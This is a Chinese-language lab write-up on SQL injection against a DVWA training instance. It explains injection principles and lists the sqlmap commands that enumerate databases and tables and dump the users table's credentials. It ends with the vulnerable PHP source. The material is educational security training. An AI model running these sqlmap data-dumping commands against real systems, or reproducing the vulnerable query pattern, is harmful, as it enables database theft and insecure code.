web安全漏洞-SQL注入实验2

实验目的

  • 学习sql显注的漏洞判断原理
  • 掌握sqlmap工具的使用
  • 分析SQL注入漏洞的成因

实验工具

  • sqlmapsqlmap是用python写的开源的测试框架,支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP,MAXDB并支持6中SQL注入手段。

实验内容

SQL注入(SQL Injection )

  • SQL注入攻击的产生 当应用程序使用输入内容来构造动态SQL语句以访问数据库时,会发生SQL注入攻击。 如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生SQL注入。

  • SQL注入漏洞的本质是把用户输入的数据当做代码来执行,违背了数据与代码分离的原则。

  • SQL注入漏洞有两个关键条件,理解这两个条件可以帮助我们理解并防御SQL注入漏洞:

    • 用户能控制输入的内容
    • Web应用执行的代码中,拼接了用户输入的内容

实验步骤

本次实验中,我们先手工发现注入点,再使用sqlmap工具来注入。

步骤1:发现注入

将dvwa的级别设置为high,我们会发现页面变化与之前相比,存在很大的变化,我们按照之前输入1和1'的方式进行测试。

我们会发现存在如下的差别:

​ 1 当我们不论输入任何内容,web页面并非从当前页面返回结果,而且是在另一个页面。

​ 2 当我们输入1'的时候,出现的报错为:Something went wrong.

如果这是一份不负责任的文档,会这样进行描述:当我们输入1'的时候,没有返回正常的页面,据此可以判断为存在sql注入,并且为显注!

但实际上这种认知是错的,sql注入的本质是:恶意用户的输入特殊字符导致sql语句产生歧义,从而达到利用web接口操纵数据库的目的。

如果报错信息为sql数据库的报错,则可以判定为sql显注。但是返回非数据库的报错时,我们不能简单的划分为显注。甚至于我们根本无法判定是否真的存在注入点。

步骤2:使用sqlmap进行测试

sqlmap常用选项:

​ --second-order 当web程序输入与返回不在一处界面时,使用此参数监控另一处页面

​ --tables -D "数据库" 列举数据库的表名

​ --columns -T "表名" -D "数据库" 获取表的列名

​ --dump -C "字段,字段" -T "表名" -D "数据库" 获取表中的数据,包含列

备注:以上命令是在进行数据窃取,为此强烈建议不要真实的环境,哪怕是个白帽行为!

抓取http请求,并保存至root文档,并将文档命名为2

我们此时可以执行sqlmap -r /root/2 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs进行攻击测试,我们会发现此页面确实存在sql注入漏洞。

​ 如果我们仔细观察sqlmap的payload,我们会发现,此次的注入实际上是基于时间的注入。

执行上一个命令后,我们会知道存在一个名为dvwa的数据库。我们将依次输入以下命令,进行一步一步的"脱裤"操作。

此步骤使用 sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs -D "dvwa" --tables 进行查询dvwa数据库的表名

此步骤使用sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --columns -T "users" -D "dvwa"进行查询user表中的列

步骤使用sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dump -C "user,password" -T "users" -D "dvwa" 进行"脱裤"

至此,我们针对sql注入进行了一次完整的从检测到窃取数据的模拟攻击!

实验分析

复制代码
<?php 

if (isset($_GET['Submit'])) {

 // Retrieve data

 $id = $_GET['id'];
 $id = stripslashes($id);
 $id = mysql_real_escape_string($id);

 if (is_numeric($id)){

  $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
  $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

  $num = mysql_numrows($result);

  $i=0;

  while ($i < $num) {

   $first = mysql_result($result,$i,"first_name");
   $last = mysql_result($result,$i,"last_name");

   $html .= '<pre>';
   $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
   $html .= '</pre>';

   $i++;
  }
 }
}
?>

通过查看代码,我们发现代码获取了参数以后,依旧是直接带入到sql中进行查询。

虽然增加一层 or die('<pre>....') 的响应,过滤掉了1'所导致的sql报错。

但因为先前直接未经任何过滤而直接带入到sql,所以依旧产生了sql注入漏洞。

相关推荐
Decay__2 小时前
21_MySQL 优化案例集 —— 慢 SQL 优化、索引重构与参数调整收益对比
运维·数据库·sql·mysql·架构
挖掘狂人3 小时前
MySQL 深分页优化:limit 100000, 10 慢在哪,怎么救
后端·sql·mysql
codigger3 小时前
MySQL 深分页优化:limit 100000, 10 慢在哪,怎么救
数据库·sql·mysql·程序员
Francek Chen3 小时前
【大数据处理与分析】数据仓库Hive:09 Hive 编程实践
大数据·数据仓库·hive·hadoop·sql
麦壳饼3 小时前
SonnetDB 5.0 正式发布:增强 SQL 与事务,开放九模型 MCP 读写
数据库·人工智能·sql·sonnetdb
0xBADCODE4 小时前
2026 强网杯 Web 题 cwp · 全链路复盘
前端·安全·web安全·网络安全·系统安全·ctf
Decay__13 小时前
18_MySQL 智能巡检方案 —— 巡检项清单 / 一键巡检脚本 / 健康评分
运维·数据库·sql·mysql·架构
凤凰院凶涛QAQ14 小时前
《MySQL内核拆解:从SQL到InnoDB》(四) : 联合查询 & 视图
数据库·sql·mysql
anew___16 小时前
《从零手写操作系统 (63):安全与加固——从内核保护到沙箱隔离》
网络·安全
其实防守也摸鱼16 小时前
个人学习 Pwn 思路:从基础到漏洞利用的进阶路径
大数据·前端·人工智能·chrome·算法·安全·网络安全